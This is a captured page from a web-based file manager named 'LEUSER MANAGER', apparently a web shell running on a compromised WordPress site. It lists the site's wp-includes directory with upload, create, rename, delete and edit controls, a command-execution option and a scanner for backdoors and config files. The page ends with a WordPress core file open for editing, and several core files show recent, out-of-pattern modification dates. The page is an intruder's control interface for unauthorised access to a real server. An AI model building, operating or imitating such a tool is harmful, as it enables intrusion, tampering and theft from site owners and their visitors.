LEUSER MANAGER

Current Path: / / home1 / pickupmy / public_html / wp-includes

1. Upload

2. Create Folder

3. Create File

4. COMAD

5. Scan Sensitive Files

Scan webshell, file manager, backdoor

Akan scan: .php, .phtml, config files, dll.

Name	Size	Last Modified	Mod Date	Perms	Download	Rename	Delete	Extract
📁 ID3	-	2024-07-23 15:15:20	Mod Date	0755	-	Rename	Delete	-
📁 IXR	-	2024-08-28 08:10:09	Mod Date	0755	-	Rename	Delete	-
📁 PHPMailer	-	2024-07-23 15:15:20	Mod Date	0755	-	Rename	Delete	-
📁 Requests	-	2024-07-23 15:15:20	Mod Date	0755	-	Rename	Delete	-
📁 SimplePie	-	2024-08-28 14:59:16	Mod Date	0755	-	Rename	Delete	-
📁 Text	-	2024-07-23 15:15:20	Mod Date	0755	-	Rename	Delete	-
📁 assets	-	2024-07-23 15:15:20	Mod Date	0755	-	Rename	Delete	-
📁 block-bindings	-	2024-08-27 17:24:48	Mod Date	0755	-	Rename	Delete	-
📁 block-patterns	-	2024-08-27 19:33:49	Mod Date	0755	-	Rename	Delete	-
📁 block-supports	-	2024-08-28 08:56:41	Mod Date	0755	-	Rename	Delete	-
📁 blocks	-	2024-08-22 20:54:39	Mod Date	0755	-	Rename	Delete	-
📁 certificates	-	2024-07-23 15:15:20	Mod Date	0755	-	Rename	Delete	-
📁 css	-	2024-07-23 15:15:20	Mod Date	0755	-	Rename	Delete	-
📁 customize	-	2024-08-30 14:28:22	Mod Date	0755	-	Rename	Delete	-
📁 fonts	-	2024-07-23 15:15:20	Mod Date	0755	-	Rename	Delete	-
📁 html-api	-	2024-08-29 03:20:24	Mod Date	0755	-	Rename	Delete	-
📁 images	-	2024-07-23 15:15:20	Mod Date	0755	-	Rename	Delete	-
📁 interactivity-api	-	2024-08-28 23:04:37	Mod Date	0755	-	Rename	Delete	-
📁 js	-	2024-07-23 15:15:21	Mod Date	0755	-	Rename	Delete	-
📁 l10n	-	2024-08-31 03:35:52	Mod Date	0755	-	Rename	Delete	-
📁 php-compat	-	2024-07-23 15:15:21	Mod Date	0755	-	Rename	Delete	-
📁 pomo	-	2024-07-23 15:15:21	Mod Date	0755	-	Rename	Delete	-
📁 rest-api	-	2024-08-29 01:28:47	Mod Date	0755	-	Rename	Delete	-
📁 sitemaps	-	2024-07-23 15:15:21	Mod Date	0755	-	Rename	Delete	-
📁 sodium_compat	-	2024-07-23 15:15:21	Mod Date	0755	-	Rename	Delete	-
📁 style-engine	-	2024-07-23 15:15:21	Mod Date	0755	-	Rename	Delete	-
📁 theme-compat	-	2024-08-29 02:16:41	Mod Date	0755	-	Rename	Delete	-
📁 widgets	-	2024-08-25 02:02:24	Mod Date	0755	-	Rename	Delete	-
🖥️ admin-bar.php	36.23 KB	2025-08-01 00:21:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ atomlib.php	11.67 KB	2022-04-21 11:24:17	Mod Date	0644	Download	Rename	Delete	-
🖥️ author-template.php	18.51 KB	2023-05-14 17:58:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ block-bindings.php	5.46 KB	2024-06-12 12:44:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ block-editor.php	27.51 KB	2024-06-04 11:55:14	Mod Date	0644	Download	Rename	Delete	-
📄 block-i18n.json	0.31 KB	2021-08-11 09:08:01	Mod Date	0644	Download	Rename	Delete	-
🖥️ block-patterns.php	12.85 KB	2024-02-27 21:05:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ block-template-utils.php	55.23 KB	2025-08-01 00:21:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ block-template.php	12.09 KB	2024-03-06 05:05:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ blocks.php	95.19 KB	2024-06-25 12:45:18	Mod Date	0644	Download	Rename	Delete	-
🖥️ bookmark-template.php	12.63 KB	2024-03-20 12:49:10	Mod Date	0644	Download	Rename	Delete	-
🖥️ bookmark.php	15.07 KB	2024-03-23 14:20:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ cache-compat.php	5.83 KB	2022-10-10 18:22:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ cache.php	13.16 KB	2022-10-10 18:22:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ canonical.php	33.7 KB	2024-02-16 23:34:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ capabilities.php	39.08 KB	2024-05-05 14:35:19	Mod Date	0644	Download	Rename	Delete	-
🖥️ category-template.php	55.67 KB	2023-09-26 00:27:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ category.php	12.41 KB	2023-08-24 09:01:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-IXR.php	2.48 KB	2020-02-06 06:33:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-avif-info.php	28.92 KB	2024-04-26 15:02:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-feed.php	0.52 KB	2020-02-06 06:33:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-http.php	0.36 KB	2022-06-17 11:20:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-json.php	42.66 KB	2023-02-03 13:35:20	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-oembed.php	0.39 KB	2022-06-17 11:20:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-phpass.php	6.55 KB	2023-02-13 09:08:23	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-phpmailer.php	0.65 KB	2020-07-21 12:58:02	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-pop3.php	20.48 KB	2023-02-11 12:43:22	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-requests.php	2.18 KB	2023-04-05 13:12:26	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-simplepie.php	95.76 KB	2024-02-17 13:25:10	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-smtp.php	0.45 KB	2021-01-26 13:45:57	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-snoopy.php	36.83 KB	2023-02-03 13:35:20	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-walker-category-dropdown.php	2.41 KB	2023-09-14 12:46:20	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-walker-category.php	8.28 KB	2023-09-08 09:32:23	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-walker-comment.php	13.89 KB	2024-03-18 15:46:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-walker-nav-menu.php	11.05 KB	2023-06-27 15:26:27	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-walker-page-dropdown.php	2.65 KB	2023-09-14 12:46:20	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-walker-page.php	7.43 KB	2023-09-14 12:46:20	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-admin-bar.php	17.46 KB	2024-07-18 16:45:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-ajax-response.php	5.14 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-application-passwords.php	12.55 KB	2023-05-08 22:37:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-bindings-registry.php	8.73 KB	2024-06-12 12:44:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-bindings-source.php	2.13 KB	2024-05-02 13:19:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-editor-context.php	1.32 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-list.php	4.65 KB	2023-11-02 00:04:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-parser-block.php	2.5 KB	2023-06-27 00:45:38	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-parser-frame.php	1.87 KB	2023-06-27 00:45:38	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-parser.php	11.26 KB	2024-05-02 20:09:15	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-pattern-categories-registry.php	5.25 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-patterns-registry.php	11.86 KB	2026-03-11 23:45:35	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-styles-registry.php	6.12 KB	2024-05-30 08:54:07	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-supports.php	5.44 KB	2024-05-06 21:25:15	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-template.php	1.91 KB	2023-06-23 06:29:23	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-type-registry.php	4.9 KB	2023-10-12 12:34:33	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block-type.php	16.86 KB	2024-05-02 00:01:09	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-block.php	19.23 KB	2024-06-13 08:57:15	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-classic-to-block-menu-converter.php	3.99 KB	2023-08-21 17:51:19	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-comment-query.php	47.26 KB	2024-06-21 17:26:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-comment.php	9.15 KB	2023-08-24 08:44:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-customize-control.php	25.13 KB	2024-05-14 16:49:09	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-customize-manager.php	197.67 KB	2024-06-10 22:12:17	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-customize-nav-menus.php	56.28 KB	2025-10-01 00:02:46	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-customize-panel.php	10.42 KB	2023-09-10 09:04:18	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-customize-section.php	10.98 KB	2023-09-10 09:04:18	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-customize-setting.php	29.19 KB	2023-09-10 09:04:18	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-customize-widgets.php	69.84 KB	2024-05-14 16:49:09	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-date-query.php	34.89 KB	2024-02-16 21:47:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-dependencies.php	13.73 KB	2023-09-08 09:32:23	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-dependency.php	2.57 KB	2022-11-25 15:12:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-duotone.php	39.83 KB	2024-06-14 12:18:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-editor.php	70.49 KB	2024-06-20 20:27:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-embed.php	15.62 KB	2023-07-09 20:17:29	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-error.php	7.33 KB	2023-02-21 16:39:19	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-fatal-error-handler.php	7.76 KB	2023-12-16 09:38:25	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-feed-cache-transient.php	2.53 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-feed-cache.php	0.95 KB	2023-08-10 01:06:21	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-hook.php	15.63 KB	2023-09-18 12:41:18	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-http-cookie.php	7.22 KB	2023-06-24 17:17:23	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-http-curl.php	12.25 KB	2023-09-21 18:29:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-http-encoding.php	6.53 KB	2023-06-22 14:57:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-http-ixr-client.php	3.42 KB	2026-03-11 23:45:35	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-http-proxy.php	5.84 KB	2023-06-22 14:36:26	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-http-requests-hooks.php	1.97 KB	2022-12-15 21:32:17	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-http-requests-response.php	4.3 KB	2023-10-11 07:05:25	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-http-response.php	2.91 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-http-streams.php	16.46 KB	2023-09-21 18:29:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-http.php	39.8 KB	2024-04-07 11:18:17	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-image-editor-gd.php	18.5 KB	2024-06-03 20:27:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-image-editor-imagick.php	31.35 KB	2024-06-14 15:26:09	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-image-editor.php	17.19 KB	2024-02-02 17:48:15	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-list-util.php	7.27 KB	2024-02-27 22:38:15	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-locale-switcher.php	6.47 KB	2024-01-25 07:53:17	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-locale.php	15.73 KB	2024-05-26 20:51:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-matchesmapregex.php	1.79 KB	2024-02-06 01:25:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-meta-query.php	29.82 KB	2024-04-22 20:25:08	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-metadata-lazyloader.php	6.67 KB	2023-05-11 11:15:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-navigation-fallback.php	9 KB	2023-10-06 14:06:22	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-network-query.php	19.39 KB	2024-06-21 17:26:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-network.php	12 KB	2024-05-13 13:34:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-object-cache.php	17.18 KB	2023-03-14 16:55:19	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-oembed-controller.php	6.74 KB	2024-03-06 05:05:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-oembed.php	30.74 KB	2024-06-07 23:15:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-paused-extensions-storage.php	4.97 KB	2024-02-16 21:47:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-plugin-dependencies.php	24.73 KB	2024-05-30 15:15:10	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-post-type.php	29.64 KB	2024-05-27 15:24:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-post.php	6.33 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-query.php	150.47 KB	2024-05-20 21:21:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-recovery-mode-cookie-service.php	6.72 KB	2022-10-04 03:59:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-recovery-mode-email-service.php	10.92 KB	2023-05-02 15:45:22	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-recovery-mode-key-service.php	4.49 KB	2023-12-24 13:05:21	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-recovery-mode-link-service.php	3.38 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-recovery-mode.php	11.17 KB	2023-05-02 15:45:22	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-rewrite.php	61.94 KB	2023-09-09 09:28:26	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-role.php	2.46 KB	2023-09-08 09:32:23	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-roles.php	8.38 KB	2023-07-28 11:37:25	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-script-modules.php	13.43 KB	2024-05-10 09:09:17	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-scripts.php	27.25 KB	2024-02-05 09:43:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-session-tokens.php	7.28 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-simplepie-file.php	3.3 KB	2023-08-10 01:06:21	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-simplepie-sanitize-kses.php	1.73 KB	2023-08-10 01:06:21	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-site-query.php	30.81 KB	2024-06-21 17:26:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-site.php	7.28 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-styles.php	10.64 KB	2023-05-02 15:45:22	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-tax-query.php	19.1 KB	2024-02-16 21:47:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-taxonomy.php	18.13 KB	2023-04-27 23:15:17	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-term-query.php	40.2 KB	2024-03-02 13:38:07	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-term.php	5.17 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-text-diff-renderer-inline.php	0.96 KB	2024-02-14 19:27:09	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-text-diff-renderer-table.php	18.37 KB	2023-10-15 14:55:23	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-textdomain-registry.php	9.96 KB	2024-06-11 14:27:18	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-theme-json-data.php	1.77 KB	2024-06-04 11:55:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-theme-json-resolver.php	33.9 KB	2024-06-24 10:33:15	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-theme-json-schema.php	7.19 KB	2024-06-06 08:02:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-theme-json.php	153.63 KB	2025-08-01 00:21:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-theme.php	63.77 KB	2024-04-19 17:59:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-token-map.php	27.76 KB	2024-06-02 15:16:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-user-meta-session-tokens.php	2.92 KB	2019-01-09 05:04:50	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-user-query.php	42.63 KB	2024-05-19 19:53:19	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-user-request.php	2.17 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-user.php	22.29 KB	2024-02-16 21:47:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-walker.php	13.01 KB	2025-08-01 00:21:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-widget-factory.php	3.27 KB	2022-09-12 15:47:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-widget.php	17.96 KB	2023-08-25 01:28:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp-xmlrpc-server.php	209.91 KB	2024-02-11 19:14:19	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wp.php	25.51 KB	2023-08-13 10:31:23	Mod Date	0644	Download	Rename	Delete	-
🖥️ class-wpdb.php	115.6 KB	2024-04-04 15:13:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ class.wp-dependencies.php	0.36 KB	2022-09-20 14:17:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class.wp-scripts.php	0.33 KB	2022-09-20 14:17:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ class.wp-styles.php	0.33 KB	2022-09-20 14:17:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ comment-template.php	99.35 KB	2024-07-18 17:58:15	Mod Date	0644	Download	Rename	Delete	-
🖥️ comment.php	126.2 KB	2024-06-13 13:05:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ compat.php	16.08 KB	2024-07-18 18:22:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ cron.php	40.61 KB	2024-05-02 13:19:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ date.php	0.39 KB	2022-06-17 11:20:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ default-constants.php	10.97 KB	2024-04-17 09:46:19	Mod Date	0644	Download	Rename	Delete	-
🖥️ default-filters.php	34.66 KB	2024-06-11 02:40:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ default-widgets.php	2.17 KB	2021-05-25 08:27:57	Mod Date	0644	Download	Rename	Delete	-
🖥️ deprecated.php	181.92 KB	2024-06-04 07:39:10	Mod Date	0644	Download	Rename	Delete	-
🖥️ embed-template.php	0.33 KB	2022-06-17 11:20:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ embed.php	37.02 KB	2024-06-02 22:02:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ error-protection.php	4.02 KB	2023-05-02 15:45:22	Mod Date	0644	Download	Rename	Delete	-
📄 error_log	467.2 KB	2026-09-25 10:14:57	Mod Date	0644	Download	Rename	Delete	-
🖥️ feed-atom-comments.php	5.38 KB	2024-03-04 12:41:10	Mod Date	0644	Download	Rename	Delete	-
🖥️ feed-atom.php	2.98 KB	2021-11-29 09:52:00	Mod Date	0644	Download	Rename	Delete	-
🖥️ feed-rdf.php	2.61 KB	2020-01-29 00:45:18	Mod Date	0644	Download	Rename	Delete	-
🖥️ feed-rss.php	1.16 KB	2020-01-29 00:45:18	Mod Date	0644	Download	Rename	Delete	-
🖥️ feed-rss2-comments.php	4.04 KB	2024-03-04 12:41:10	Mod Date	0644	Download	Rename	Delete	-
🖥️ feed-rss2.php	3.71 KB	2020-01-29 00:45:18	Mod Date	0644	Download	Rename	Delete	-
🖥️ feed.php	22.77 KB	2024-06-13 20:50:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ fonts.php	9.22 KB	2024-06-05 23:19:17	Mod Date	0644	Download	Rename	Delete	-
🖥️ formatting.php	327.51 KB	2024-06-24 14:42:09	Mod Date	0644	Download	Rename	Delete	-
🖥️ functions.php	274.07 KB	2024-07-18 18:22:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ functions.wp-scripts.php	14.22 KB	2024-05-26 20:51:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ functions.wp-styles.php	8.38 KB	2024-05-26 20:51:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ general-template.php	165.16 KB	2024-06-13 14:48:05	Mod Date	0644	Download	Rename	Delete	-
🖥️ global-styles-and-settings.php	20.92 KB	2024-07-12 20:01:15	Mod Date	0644	Download	Rename	Delete	-
🖥️ http.php	24.95 KB	2025-08-06 00:11:30	Mod Date	0644	Download	Rename	Delete	-
🖥️ https-detection.php	5.53 KB	2023-09-22 19:08:19	Mod Date	0644	Download	Rename	Delete	-
🖥️ https-migration.php	4.63 KB	2023-07-10 22:38:25	Mod Date	0644	Download	Rename	Delete	-
🖥️ kses.php	72.66 KB	2026-03-11 23:45:35	Mod Date	0644	Download	Rename	Delete	-
🖥️ l10n.php	65.09 KB	2024-05-04 17:27:09	Mod Date	0644	Download	Rename	Delete	-
🖥️ link-template.php	152.48 KB	2024-05-27 16:29:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ load.php	54.06 KB	2024-05-10 11:48:15	Mod Date	0644	Download	Rename	Delete	-
🖥️ locale.php	0.16 KB	2019-10-08 17:19:04	Mod Date	0644	Download	Rename	Delete	-
🖥️ media-template.php	60.76 KB	2025-08-01 00:21:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ media.php	205.67 KB	2026-03-11 23:45:35	Mod Date	0644	Download	Rename	Delete	-
🖥️ meta.php	62.58 KB	2023-09-26 15:32:19	Mod Date	0644	Download	Rename	Delete	-
🖥️ ms-blogs.php	25.13 KB	2024-03-29 11:42:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ ms-default-constants.php	4.81 KB	2024-06-13 20:50:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ ms-default-filters.php	6.48 KB	2023-02-24 01:23:20	Mod Date	0644	Download	Rename	Delete	-
🖥️ ms-deprecated.php	21.25 KB	2024-04-12 17:47:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ ms-files.php	2.65 KB	2023-08-23 15:53:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ ms-functions.php	89.1 KB	2023-11-13 11:13:27	Mod Date	0644	Download	Rename	Delete	-
🖥️ ms-load.php	19.42 KB	2024-03-25 17:19:17	Mod Date	0644	Download	Rename	Delete	-
🖥️ ms-network.php	3.69 KB	2023-05-02 11:26:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ ms-settings.php	4.03 KB	2023-06-22 14:57:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ ms-site.php	39.4 KB	2024-05-04 19:25:10	Mod Date	0644	Download	Rename	Delete	-
🖥️ nav-menu-template.php	25.31 KB	2024-05-09 15:16:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ nav-menu.php	43.08 KB	2026-03-11 23:45:35	Mod Date	0644	Download	Rename	Delete	-
🖥️ option.php	98.09 KB	2024-06-14 15:21:10	Mod Date	0644	Download	Rename	Delete	-
🖥️ pluggable-deprecated.php	6.12 KB	2020-01-11 18:32:05	Mod Date	0644	Download	Rename	Delete	-
🖥️ pluggable.php	110.53 KB	2024-04-13 16:33:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ plugin.php	34.63 KB	2023-06-08 07:54:22	Mod Date	0644	Download	Rename	Delete	-
🖥️ post-formats.php	6.94 KB	2024-05-27 16:29:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ post-template.php	65.25 KB	2024-06-01 17:37:18	Mod Date	0644	Download	Rename	Delete	-
🖥️ post-thumbnail-template.php	10.07 KB	2023-05-17 18:31:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ post.php	277.61 KB	2024-06-18 14:46:10	Mod Date	0644	Download	Rename	Delete	-
🖥️ query.php	36.17 KB	2023-08-24 09:01:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ registration-functions.php	0.2 KB	2020-11-12 11:17:07	Mod Date	0644	Download	Rename	Delete	-
🖥️ registration.php	0.2 KB	2020-11-12 11:17:07	Mod Date	0644	Download	Rename	Delete	-
🖥️ rest-api.php	96.16 KB	2024-06-02 22:02:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ revision.php	30.18 KB	2024-05-06 16:35:19	Mod Date	0644	Download	Rename	Delete	-
🖥️ rewrite.php	19.06 KB	2023-07-11 11:15:27	Mod Date	0644	Download	Rename	Delete	-
🖥️ robots-template.php	5.06 KB	2022-04-06 15:33:03	Mod Date	0644	Download	Rename	Delete	-
🖥️ rss-functions.php	0.25 KB	2020-11-16 22:52:05	Mod Date	0644	Download	Rename	Delete	-
🖥️ rss.php	22.57 KB	2024-06-13 20:50:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ script-loader.php	127.24 KB	2024-06-13 15:06:07	Mod Date	0644	Download	Rename	Delete	-
🖥️ script-modules.php	5.84 KB	2024-05-26 20:51:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ session.php	0.25 KB	2020-02-06 06:33:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ shortcodes.php	23.49 KB	2024-05-25 03:04:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ sitemaps.php	3.16 KB	2021-05-15 17:38:05	Mod Date	0644	Download	Rename	Delete	-
🖥️ spl-autoload-compat.php	0.43 KB	2020-11-12 11:17:07	Mod Date	0644	Download	Rename	Delete	-
🖥️ style-engine.php	7.39 KB	2024-05-03 04:47:12	Mod Date	0644	Download	Rename	Delete	-
🖥️ taxonomy.php	171.21 KB	2024-06-18 04:12:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ template-canvas.php	0.53 KB	2023-10-01 00:22:27	Mod Date	0644	Download	Rename	Delete	-
🖥️ template-loader.php	3.27 KB	2026-03-11 23:45:35	Mod Date	0644	Download	Rename	Delete	-
🖥️ template.php	23.59 KB	2024-02-21 19:26:08	Mod Date	0644	Download	Rename	Delete	-
📄 theme-i18n.json	1.22 KB	2024-06-24 08:51:16	Mod Date	0644	Download	Rename	Delete	-
🖥️ theme-previews.php	2.77 KB	2023-12-08 06:32:24	Mod Date	0644	Download	Rename	Delete	-
🖥️ theme-templates.php	6.08 KB	2023-10-13 17:21:22	Mod Date	0644	Download	Rename	Delete	-
📄 theme.json	8.5 KB	2024-06-12 06:11:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ theme.php	130.84 KB	2024-06-13 20:50:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ update.php	36.02 KB	2024-06-13 20:50:14	Mod Date	0644	Download	Rename	Delete	-
🖥️ user.php	169.66 KB	2024-06-05 12:23:10	Mod Date	0644	Download	Rename	Delete	-
🖥️ vars.php	6.34 KB	2024-04-04 13:40:06	Mod Date	0644	Download	Rename	Delete	-
🖥️ version.php	0.91 KB	2026-03-11 23:45:35	Mod Date	0644	Download	Rename	Delete	-
🖥️ widgets.php	69.03 KB	2024-05-26 20:51:13	Mod Date	0644	Download	Rename	Delete	-
🖥️ wp-db.php	0.43 KB	2022-07-21 22:45:11	Mod Date	0644	Download	Rename	Delete	-
🖥️ wp-diff.php	0.63 KB	2020-02-06 06:33:11	Mod Date	0644	Download	Rename	Delete	-

Editing: /home1/pickupmy/public_html/wp-includes/class-wp-token-map.php

<?php

/**
 * Class for efficiently looking up and mapping string keys to string values, with limits.
 *
 * @package    WordPress
 * @since      6.6.0
 */

/**
